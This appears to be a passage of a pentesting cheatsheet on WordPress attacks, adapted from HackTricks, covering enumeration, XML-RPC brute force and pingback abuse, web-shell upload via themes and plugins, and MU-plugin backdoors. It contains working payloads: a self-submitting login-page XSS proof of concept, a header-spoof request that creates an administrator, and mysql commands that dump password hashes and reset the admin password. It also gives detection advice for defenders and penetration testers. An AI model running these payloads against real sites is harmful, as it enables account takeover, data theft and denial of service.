daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

wordpress.md (64056B)


      1 ---
      2 title: "WordPress"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/wordpress.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/wordpress.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # WordPress
     14 
     15 ## Basic Information
     16 
     17 - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
     18 - **Theme files are stored under `/wp-content/themes/`.** If an administrator modifies a PHP template to obtain code execution, the corresponding theme path can be requested directly. For example, the Twenty Twelve theme's `404.php` template is normally reachable at [**`/wp-content/themes/twentytwelve/404.php`**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php).
     19 
     20   - On an installation that actually contains and activates a theme named `default`, another path to test is **`/wp-content/themes/default/404.php`**.
     21 
     22 - **`wp-config.php`** contains the WordPress database credentials. The configured database user may be privileged, but it is not necessarily the database `root` account.<sup>[[21]](#references)</sup>
     23 - Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
     24 
     25 ### **Main WordPress Files**
     26 
     27 - `index.php`
     28 - `license.txt` contains useful information such as the version WordPress installed.
     29 - `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
     30 - Login folders (may be renamed to hide it):
     31   - `/wp-admin/login.php`
     32   - `/wp-admin/wp-login.php`
     33   - `/login.php`
     34   - `/wp-login.php`
     35 - `xmlrpc.php` exposes the legacy XML-RPC interface over HTTP. Modern integrations generally use the WordPress REST API, but XML-RPC remains present and can still be enabled.<sup>[[22]](#references)</sup>
     36 - The `wp-content` folder is the main directory where plugins and themes are stored.
     37 - `wp-content/uploads/` is the default directory for uploaded media, although configuration and plugins can change its organization.
     38 - `wp-includes/` contains WordPress core libraries and assets; it should not be treated as a user-content directory.
     39 - Since WordPress 5.5, core exposes an XML sitemap index at `wp-sitemap.xml` for public posts and other publicly queryable content.<sup>[[23]](#references)</sup>
     40 
     41 **Post exploitation**
     42 
     43 - The `wp-config.php` file contains information required by WordPress to connect to the database, such as the database name, host, username, and password, as well as authentication keys and salts and the database table prefix. It can also enable debugging settings, so disclosure of this file is especially sensitive.<sup>[[21]](#references)</sup>
     44 
     45 ### User roles
     46 
     47 - **Administrator**
     48 - **Editor**: Can publish and manage their own and other users' posts.
     49 - **Author**: Can publish and manage their own posts.
     50 - **Contributor**: Can write and manage their own posts but cannot publish them.
     51 - **Subscriber**: Can read content and manage their own profile.
     52 
     53 These are the default roles; plugins and administrators can modify capabilities, so authorization testing should check capabilities rather than assume a role name has a fixed meaning.<sup>[[24]](#references)</sup>
     54 
     55 ## **Passive Enumeration**
     56 
     57 ### **Get WordPress version**
     58 
     59 Check if you can find the files `/license.txt` or `/readme.html`
     60 
     61 Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
     62 
     63 - grep
     64 
     65 ```bash
     66 curl https://victim.com/ | grep 'content="WordPress'
     67 ```
     68 
     69 - `meta name`
     70 
     71 ![WordPress HTML meta generator tag revealing the site version](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281111%29.png)
     72 
     73 - CSS link files
     74 
     75 ![Passive Enumeration - Get WordPress version](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28533%29.png)
     76 
     77 - JavaScript files
     78 
     79 ![WordPress page source showing wp-content plugin paths in JavaScript links](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28524%29.png)
     80 
     81 ### Get Plugins
     82 
     83 ```bash
     84 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
     85 ```
     86 
     87 ### Get Themes
     88 
     89 ```bash
     90 curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
     91 ```
     92 
     93 ### Extract versions in general
     94 
     95 ```bash
     96 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '\?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
     97 
     98 ```
     99 
    100 ## Active enumeration
    101 
    102 ### Plugins and Themes
    103 
    104 Passive inspection will not necessarily reveal every installed plugin or theme. To expand coverage, actively enumerate candidate names from appropriate wordlists with tools that respect the assessment's request-rate limits.
    105 
    106 ### Users
    107 
    108 - **ID Brute:** You get valid users from a WordPress site by Brute Forcing users IDs:
    109 
    110 ```bash
    111 curl -s -I -X GET http://blog.example.com/?author=1
    112 ```
    113 
    114 If the response is **200** or **30X**, the ID is **valid**. If the response is **400**, the ID is **invalid**.
    115 
    116 - **wp-json:** You can also try to get information about the users by querying:
    117 
    118 ```bash
    119 curl http://blog.example.com/wp-json/wp/v2/users
    120 ```
    121 
    122 Another `/wp-json/` endpoint that can reveal some information about users is:
    123 
    124 ```bash
    125 curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
    126 ```
    127 
    128 Note that this endpoint only exposes users that have made a post. **Only information about the users that has this feature enable will be provided**.
    129 
    130 Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
    131 
    132 - **Login username enumeration**: When login in **`/wp-login.php`** the **message** is **different** is the indicated **username exists or not**.
    133 
    134 ### XML-RPC
    135 
    136 If `xmlrpc.php` is enabled, its methods may expose password-guessing and pingback abuse surfaces. For example, [wpxploit](https://github.com/relarizky/wpxploit) automates several XML-RPC checks. Apply strict rate limits and test only with authorization.
    137 
    138 To see whether it is active, request **`/xmlrpc.php`** and send this method call:
    139 
    140 **Check**
    141 
    142 ```html
    143 <methodCall>
    144 <methodName>system.listMethods</methodName>
    145 <params></params>
    146 </methodCall>
    147 ```
    148 
    149 ![Users - XML-RPC: system.listMethods](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
    150 
    151 **Credential brute force**
    152 
    153 **`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:
    154 
    155 ```html
    156 <methodCall>
    157 <methodName>wp.getUsersBlogs</methodName>
    158 <params>
    159 <param><value>admin</value></param>
    160 <param><value>pass</value></param>
    161 </params>
    162 </methodCall>
    163 ```
    164 
    165 The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid.
    166 
    167 ![Users - XML-RPC: The message "Incorrect username or password" inside a 200 code response should appear if the credentials aren't valid](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28107%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%282%29%20%284%29%20%281%29.png)
    168 
    169 ![Users - XML-RPC: The message "Incorrect username or password" inside a 200 code response should appear if the credentials aren't valid](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28721%29.png)
    170 
    171 With valid credentials and sufficient capabilities, `wp.uploadFile` can upload media. A successful response includes the resulting path ([request example](https://gist.github.com/georgestephanis/5681982)).
    172 
    173 ```html
    174 <?xml version='1.0' encoding='utf-8'?>
    175 <methodCall>
    176 	<methodName>wp.uploadFile</methodName>
    177 	<params>
    178 		<param><value><string>1</string></value></param>
    179 		<param><value><string>username</string></value></param>
    180 		<param><value><string>password</string></value></param>
    181 		<param>
    182 			<value>
    183 				<struct>
    184 					<member>
    185 						<name>name</name>
    186 						<value><string>filename.jpg</string></value>
    187 					</member>
    188 					<member>
    189 						<name>type</name>
    190 						<value><string>mime/type</string></value>
    191 					</member>
    192 					<member>
    193 						<name>bits</name>
    194 						<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
    195 					</member>
    196 				</struct>
    197 			</value>
    198 		</param>
    199 	</params>
    200 </methodCall>
    201 ```
    202 
    203 Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
    204 
    205 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28628%29.png" alt=""><figcaption></figcaption></figure>
    206 
    207 **Bypass 2FA**
    208 
    209 This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
    210 
    211 **DDoS or port scanning**
    212 
    213 If the method **`pingback.ping`** is available, it may make the WordPress server retrieve an attacker-selected HTTP(S) URL. Core uses URL validation intended to reduce SSRF, so reachable schemes, destinations, redirects, and response signals vary by version and configuration. Historically this feature has been abused for reflected traffic and limited internal-network probing.<sup>[[25]](#references)</sup>
    214 
    215 ```html
    216 <methodCall>
    217 <methodName>pingback.ping</methodName>
    218 <params><param>
    219 <value><string>http://<YOUR SERVER >:<port></string></value>
    220 </param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
    221 </value></param></params>
    222 </methodCall>
    223 ```
    224 
    225 ![Users - XML-RPC: If you get faultCode with a value greater then 0 (17), it means the port is open](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
    226 
    227 Do not treat a single `faultCode` as definitive proof that a port is open. Compare controlled open and closed destinations and account for URL validation, application errors, timeouts, and intermediary behavior.
    228 
    229 Take a look to the use of **`system.multicall`** in the previous section to learn how to abuse this method to cause DDoS.
    230 
    231 **DDoS**
    232 
    233 ```html
    234 <methodCall>
    235     <methodName>pingback.ping</methodName>
    236     <params>
    237         <param><value><string>http://target/</string></value></param>
    238         <param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
    239     </params>
    240 </methodCall>
    241 ```
    242 
    243 ![WordPress XML-RPC pingback request with target and source blog post URLs](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28110%29.png)
    244 
    245 ### `wp-cron.php` load testing
    246 
    247 This file normally exists at the WordPress root as **`/wp-cron.php`**. WordPress checks due scheduled events during page requests and may spawn a non-blocking request to this endpoint. The work performed depends on the scheduled hooks; repeated requests are not inherently a heavy database query, but expensive or poorly locked jobs can create avoidable load. Test this only in a controlled environment because load testing can affect availability.<sup>[[21]](#references)</sup>
    248 
    249 For busy or latency-sensitive sites, administrators can set `DISABLE_WP_CRON` and invoke due events from a system scheduler at a controlled interval.<sup>[[21]](#references)</sup>
    250 
    251 ### /wp-json/oembed/1.0/proxy - SSRF
    252 
    253 On versions/configurations where the oEmbed proxy route is exposed to the tested user, try `https://wordpress-site.example/wp-json/oembed/1.0/proxy?url=https://<collaborator-host>/`. Modern core routes the fetch through `wp_safe_remote_get()`, which validates the URL and redirects to reduce SSRF; authentication, nonce, allowlist, and network controls also affect reachability.<sup>[[25]](#references)</sup>
    254 
    255 This is the response when it doesn't work:
    256 
    257 ![wp-cron.php DoS - /wp-json/oembed/1.0/proxy - SSRF: This is the response when it doesn't work](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28365%29.png)
    258 
    259 ## SSRF
    260 
    261 
    262 [QuickPress](https://github.com/t0gu/quickpress) checks for the `pingback.ping` method and the `/wp-json/oembed/1.0/proxy` path, then tests the corresponding server-side request behavior.<sup>[[26]](#references)</sup>
    263 
    264 ## Automatic Tools
    265 
    266 ```bash
    267 cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
    268 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt # Enumerate and test authorized accounts; API quotas vary
    269 # To test the admin account in an authorized assessment, add: -U admin
    270 ```
    271 
    272 ## Get access by overwriting a bit
    273 
    274 This is a CTF-specific curiosity rather than a general WordPress attack. In [One-Bit-Man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man), the attacker could flip one bit in any WordPress file. Flipping the relevant byte in `/var/www/html/wp-includes/user.php` changed the password-check condition. The exact offset (`5389` in that challenge) is build-specific.
    275 
    276 ```php
    277     if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
    278             return new WP_Error(
    279 ```
    280 
    281 ## **Panel RCE**
    282 
    283 **Modifying a php from the theme used (admin credentials needed)**
    284 
    285 Appearance → Theme Editor → 404 Template (at the right)
    286 
    287 Change the content for a php shell:
    288 
    289 ![Get access by overwriting a bit - Panel RCE: Change the content for a php shell](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28384%29.png)
    290 
    291 Request the modified template through a route that renders it or, when the web server permits direct PHP execution in theme directories, access it directly. In this example the path is [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php).
    292 
    293 ### MSF
    294 
    295 You can use:
    296 
    297 ```bash
    298 use exploit/unix/webapp/wp_admin_shell_upload
    299 ```
    300 
    301 to get a session.
    302 
    303 ## Plugin RCE
    304 
    305 ### PHP plugin
    306 
    307 It may be possible to upload .php files as a plugin.\
    308 Create your php backdoor using for example:
    309 
    310 ![Plugin RCE - PHP plugin: Create your php backdoor using for example](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28183%29.png)
    311 
    312 Then add a new plugin:
    313 
    314 ![Plugin RCE - PHP plugin: Then add a new plugin](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28722%29.png)
    315 
    316 Upload plugin and press Install Now:
    317 
    318 ![Plugin RCE - PHP plugin: Upload plugin and press Install Now](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28249%29.png)
    319 
    320 Click **Proceed**:
    321 
    322 ![Plugin RCE - PHP plugin: Upload plugin and press Install Now](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2870%29.png)
    323 
    324 Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
    325 
    326 ![Plugin RCE - PHP plugin: Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28462%29.png)
    327 
    328 Access it and you will see the URL to execute the reverse shell:
    329 
    330 ![Plugin RCE - PHP plugin: Access it and you will see the URL to execute the reverse shell](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281006%29.png)
    331 
    332 ### Uploading and activating malicious plugin
    333 
    334 This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
    335 
    336 1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
    337 2. **Plugin Installation**:
    338    - Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
    339    - Upload the zip file of the downloaded plugin.
    340 3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
    341 4. **Exploitation**:
    342    - With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
    343    - The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
    344    - It's noted that this is just one of the many methods to exploit a WordPress site.
    345 
    346 The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, it's important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission.
    347 
    348 **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
    349 
    350 ## From XSS to RCE
    351 
    352 - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike) is a script designed to escalate Cross-Site Scripting (XSS) to Remote Code Execution (RCE) or other critical impacts in WordPress. Its documented techniques target WordPress 4.x, 5.x, and 6.x, although applicability depends on the exact version, configuration, and current browser behavior:<sup>[[17]](#references)</sup>
    353   - _**Privilege Escalation:**_ Creates a user in WordPress.
    354   - _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
    355   - _**(RCE) Built-In Plugin Edit:**_ Edits a built-in plugin in WordPress.
    356   - _**(RCE) Built-In Theme Edit:**_ Edits a built-in theme in WordPress.
    357   - _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
    358 
    359 ### Core login parser differential → DOM clobbering → RCE (XSS2Shell)
    360 
    361 WordPress core before the August 2026 security backports (fixed in 7.0.3) contained a pre-authentication login-screen XSS that could be chained to PHP execution when a logged-in single-site administrator visited an attacker-controlled page. The interesting part is the composition of individually limited primitives rather than the CVE itself.<sup>[[19]](#references)[[20]](#references)</sup>
    362 
    363 The root cause was a **parser differential**. An invalid username passed through `sanitize_user()`/`wp_strip_all_tags()`; PHP `strip_tags()` treated `< area ...>` (whitespace after `<`) as text, but the later `wp_kses_post()` pass interpreted it as an allowed `<area>` element. This turned a value expected to be plain text into attacker-controlled DOM on `wp-login.php`.<sup>[[19]](#references)</sup>
    364 
    365 The browser-side chain illustrates useful audit targets and combines [DOM clobbering](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering) with [SOME](/hacktricks/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution):<sup>[[19]](#references)</sup>
    366 
    367 1. Inject elements whose IDs/classes match selectors used by the globally enqueued `user-profile.js`. Its automatic password-generator click reaches a color-scheme handler; two absent inputs both evaluate to `undefined`, so its equality guard succeeds.
    368 2. Clobber the otherwise undefined global `ajaxurl` with `<area id=ajaxurl href=...>`. When jQuery coerces the element to a string, its `href` becomes the AJAX destination.
    369 3. Point that request to the same-origin REST index with `_method=GET` and `_jsonp=<callback>`. The JavaScript response is evaluated by jQuery; `_envelope=1` can keep the outer response status at 200 when the inner REST response is an error.
    370 4. For the demonstrated RCE chain, a child window executes a restricted callback such as `window.opener.approve.click` against the Application Password approval form in its same-origin opener. The approved credential is delivered to the attacker's `success_url`.
    371 5. Use the administrator Application Password for authenticated REST calls, publish JavaScript using `unfiltered_html`, navigate the administrator to it, then use the administrator cookie context to obtain the plugin-upload nonce and upload a ZIP containing a directly reachable PHP file. This last stage still depends on the victim having the relevant single-site administrator capabilities.
    372 
    373 A minimal authorized-test form for the pre-auth XSS primitive is shown below. The whitespace immediately after each `<` is significant.<sup>[[19]](#references)</sup>
    374 
    375 ```html
    376 <form id="poc" method="post" action="https://target.example/wp-login.php">
    377   <input type="hidden" name="log" value='< area id=ajaxurl href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//%3Frest_route%3D/%26amp%3B_method%3DGET%26amp%3B_jsonp%3Dalert%26amp%3B_envelope%3D1">< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X'>
    378   <input type="hidden" name="pwd" value="x">
    379 </form>
    380 <script>document.getElementById('poc').submit()</script>
    381 ```
    382 
    383 Useful hunting indicators derived from the chain are suspicious `log` values containing `<` plus whitespace before `area`, `div`, or `button`; REST requests combining `_jsonp`, `_method`, and `_envelope`; unexpected visits to `authorize-application.php`; new Application Passwords; REST page creation followed by plugin ZIP upload; and direct requests to a newly created plugin PHP file.<sup>[[19]](#references)</sup>
    384 
    385 WordPress 7.0.3 escaped the failed-login value and announced backports for branches still eligible for security maintenance. Version strings alone are therefore insufficient: verify that the applicable security build/backport is installed.<sup>[[19]](#references)[[20]](#references)</sup>
    386 
    387 ## Post Exploitation
    388 
    389 Extract usernames and passwords:
    390 
    391 ```bash
    392 mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
    393 ```
    394 
    395 Change admin password:
    396 
    397 ```bash
    398 mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
    399 ```
    400 
    401 ### MU-plugin persistence and hidden REST upload backdoors
    402 
    403 `WPMU_PLUGIN_DIR` defaults to `wp-content/mu-plugins`. WordPress automatically loads top-level PHP files from this directory before normal plugins; they are absent from the default Plugins list, are not recorded as ordinary active plugins, receive no normal update notices, and cannot be disabled from the standard workflow. Consequently, an attacker with an arbitrary-write primitive can obtain low-visibility persistence by dropping one PHP loader in this directory. Check the separate **Must-Use** view and the filesystem itself rather than relying only on the ordinary plugin inventory.<sup>[[30]](#references)</sup>
    404 
    405 A practical pattern is a one-shot conventional plugin or installer that creates the MU-plugin, then deactivates and deletes itself. One recovered implementation registered the obscure REST route `wp-sec/v1/upload`, checked hardcoded credentials, accepted attacker-selected paths beneath the WordPress root, and explicitly permitted `.php`. The credential therefore protected an arbitrary file-write backdoor rather than fixing it: anyone who recovered it could POST a web shell below the web root and gain PHP code execution.<sup>[[31]](#references)</sup>
    406 
    407 For an authorized assessment or incident response, enumerate both the autoload directory and REST namespace, then review every upload callback for capability checks, canonical path containment, extension allowlists, and placement outside executable web directories. WordPress only autoloads PHP files directly inside the MU-plugin directory, but a small top-level loader may `require` a larger payload from a subdirectory.<sup>[[30]](#references)[[31]](#references)</sup>
    408 
    409 ```bash
    410 # The location can be changed in wp-config.php
    411 grep -nE 'WPMU_PLUGIN_(DIR|URL)' wp-config.php
    412 find wp-content/mu-plugins -maxdepth 2 -type f -printf '%TY-%Tm-%Td %TT %p\n' 2>/dev/null
    413 wp plugin list --status=must-use --fields=name,status,version
    414 
    415 # REST discovery and source review
    416 curl -s https://target.example/wp-json/ | jq -r '.routes | keys[]' | grep -Ei 'upload|file|wp-sec'
    417 grep -RniE 'register_rest_route|move_uploaded_file|file_put_contents|fopen|copy|ABSPATH|WPMU_PLUGIN_DIR' wp-content/mu-plugins
    418 ```
    419 
    420 High-signal artifacts include a new `mu-plugins` directory, REST registrations whose `permission_callback` compares request data to embedded secrets, destination paths derived from client input, self-deleting installers, and a successful `POST /wp-json/<namespace>/<route>` followed by a request to a newly written PHP file. Also investigate small writable state files that hold a payload URL or an `off` switch: a separate controller can rotate infrastructure or toggle injected content without replacing the main plugin. Unexpected cache-plugin deactivation or removal of `WP_CACHE` may be used to ensure that the dynamic lure is served consistently.<sup>[[31]](#references)</sup>
    421 
    422 For the client-side delivery stage commonly paired with this compromise, see [Clipboard Hijacking / ClickFix](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md) and [PowerShell download-and-execute](/hacktricks/windows-hardening/basic-powershell-for-pentesters/overview#download--execute).
    423 
    424 ## WordPress plugin pentesting
    425 
    426 ### Attack Surface
    427 
    428 Understanding how a WordPress plugin exposes functionality is essential when auditing its attack surface. Common entry points are summarized below, with vulnerable examples discussed in the referenced research.<sup>[[18]](#references)</sup>
    429 
    430 - **`wp_ajax`**
    431 
    432 Plugins can expose server-side functions through AJAX handlers. These callbacks may contain logic, authentication, or authorization bugs. A recurring mistake is treating possession of a WordPress nonce as proof that the caller has permission to perform the action.
    433 
    434 These are the functions that can be used to expose a function in a plugin:
    435 
    436 ```php
    437 add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
    438 add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
    439 ```
    440 
    441 **Registering the `wp_ajax_nopriv_` hook makes the callback reachable by unauthenticated users.**
    442 
    443 > [!CAUTION]
    444 > `wp_verify_nonce()` validates a time-limited CSRF token associated with an action and user context; it does **not** authorize the action or simply prove that a user has a particular role. Pair nonce validation with an appropriate capability check such as `current_user_can()`.<sup>[[27]](#references)</sup>
    445 
    446 - **REST API**
    447 
    448 Plugins can also expose functions through the REST API by calling `register_rest_route()`:
    449 
    450 ```php
    451 register_rest_route(
    452     $this->namespace, '/get/', array(
    453         'methods' => WP_REST_Server::READABLE,
    454         'callback' => array($this, 'getData'),
    455         'permission_callback' => '__return_true'
    456     )
    457 );
    458 ```
    459 
    460 The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method.
    461 
    462 **If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
    463 
    464 - **Direct access to the php file**
    465 
    466 WordPress uses PHP, and web-server configuration often makes files under plugin directories directly addressable. A plugin file that performs sensitive work when requested directly, without bootstrapping WordPress authorization or rejecting direct access, may therefore expose that functionality to unauthenticated users.
    467 
    468 ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
    469 
    470 Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.<sup>[[6]](#references)[[7]](#references)</sup>
    471 
    472 - Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
    473 - Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
    474 - Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
    475 
    476 PoC
    477 
    478 ```http
    479 POST /wp-json/wp/v2/users HTTP/1.1
    480 Host: <WP HOST>
    481 User-Agent: Mozilla/5.0
    482 Accept: application/json
    483 Content-Type: application/json
    484 X-Wcpay-Platform-Checkout-User: 1
    485 Content-Length: 114
    486 
    487 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
    488 ```
    489 
    490 Why it works
    491 
    492 - The plugin maps a client-controlled header to authentication state and skips capability checks.
    493 - WordPress core checks the appropriate user-creation capabilities for this route; the vulnerable plugin bypasses the intended authentication boundary by setting the current user context directly from the header.
    494 
    495 Expected success indicators
    496 
    497 - HTTP 201 with a JSON body describing the created user.
    498 - A new admin user visible in `wp-admin/users.php`.
    499 
    500 Detection checklist
    501 
    502 - Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
    503 - Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
    504 - Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.
    505 
    506 ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
    507 
    508 WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks.  When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
    509 
    510 1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
    511 2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
    512 3. **Strict input sanitisation / validation**.
    513 
    514 The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):<sup>[[1]](#references)</sup>
    515 
    516 ```php
    517 function litho_remove_font_family_action_data() {
    518     if ( empty( $_POST['fontfamily'] ) ) {
    519         return;
    520     }
    521     $fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
    522     $upload_dir = wp_upload_dir();
    523     $srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
    524     $filesystem = Litho_filesystem::init_filesystem();
    525 
    526     if ( file_exists( $srcdir ) ) {
    527         $filesystem->delete( $srcdir, FS_CHMOD_DIR );
    528     }
    529     die();
    530 }
    531 add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
    532 add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
    533 ```
    534 
    535 Issues introduced by this snippet:
    536 
    537 * **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered.
    538 * **No nonce / capability check** – any visitor can hit the endpoint.
